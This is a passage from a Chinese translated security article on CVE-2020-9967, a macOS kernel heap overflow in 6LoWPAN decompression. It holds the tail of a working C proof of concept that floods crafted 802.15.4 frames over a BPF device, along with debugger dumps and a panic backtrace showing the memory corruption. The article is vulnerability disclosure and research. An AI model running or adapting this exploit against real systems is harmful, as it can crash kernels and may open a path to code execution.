{struct ifreq bound_if;strcpy(bound_if.ifr_name, interface);if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {printf("Cannot bind bpf device to physical device %s, exiting\n", interface);exit(1);}printf("Bound bpf device to physical device %s\n", interface);
}// Write trigger frame
void write_single_frame(int bpf)
{ssize_t data_length = 32;struct frame_t frame;memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);// 802.15.4 frame type. frame.header.ether_type = 0x908;frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);frame.payload[0] = 0xff;frame.payload[1] = 0xff;// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)// These are used for the FCF (no flags set)frame.payload[2] = 0;frame.payload[3] = 0;frame.payload[4] = 0;// As none FCF are set p+=3 bytes. // header length// c = p - data;// c = 3// payload length// pf->payload_len = (4 - 3);// pf->payload_len = 1// This is the start of our payload passed to sixxlowpan_uncompressframe.payload[5] = 0;frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) {frame.payload[j] = 0x41;} ssize_t bytes_sent;bytes_sent = write(bpf, &frame, frame.len);if(bytes_sent > 0) {printf("Bytes sent: %ld\n", bytes_sent);} else {perror("Error sending frame");exit(1);}
}int main(int argc, char *argv[])
{char* interface = "en0";int bpf;bpf = open_bpf_device();assoc_dev(bpf, interface);// Do this in a loop to ensure we corrupt data following mbuf. while (1)write_single_frame(bpf);return 0;
}
导致如下结果:
frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt](lldb) register read
General Purpose Registers:rax = 0x0000000000000000rbx = 0x0000000000000000rcx = 0xffffff8876c7bd28rdx = 0x000000000000fff9rdi = 0xffffff806f16f806rsi = 0xffffff806f16f82brbp = 0xffffff8876c7bcf0rsp = 0xffffff8876c7bc30r8 = 0xffffff8876c7bc38r9 = 0xffffff8876c7bc40r10 = 0x0000000000000000r11 = 0x0000000000000003r12 = 0x0000000000000028r13 = 0x0000000000000003r14 = 0xffffff8876c7bd28r15 = 0xffffff806f16f803rip = 0xffffff8012dfa1da kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853rflags = 0x0000000000000206cs = 0x0000000000000008fs = 0x0000000000000000gs = 0x0000000000000000Source:(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28Dest: (lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e
由于群集 mbuf 只有2048个字节,且以链接的列表格式链接在一起,因此会导致通过受攻击者控制的数据损坏所处理的 mbuf。
在 KASAN 内核 中运行稍作修改的 PoC 2,也可以看到发生了堆损坏问题,且我们已触发对 nextptr 的验证:
panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e
由于写入的大小受控且数据受控,因此很可能将该问题转变为代码执行问题。
推荐阅读
50款苹果 app享特权:可绕过macOS Big Sur 防火墙和VPN
苹果推出 macOS 漏洞奖励计划,最高赏金100万美元
原文链接
https://alexplaskett.github.io/CVE-2020-9967/
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~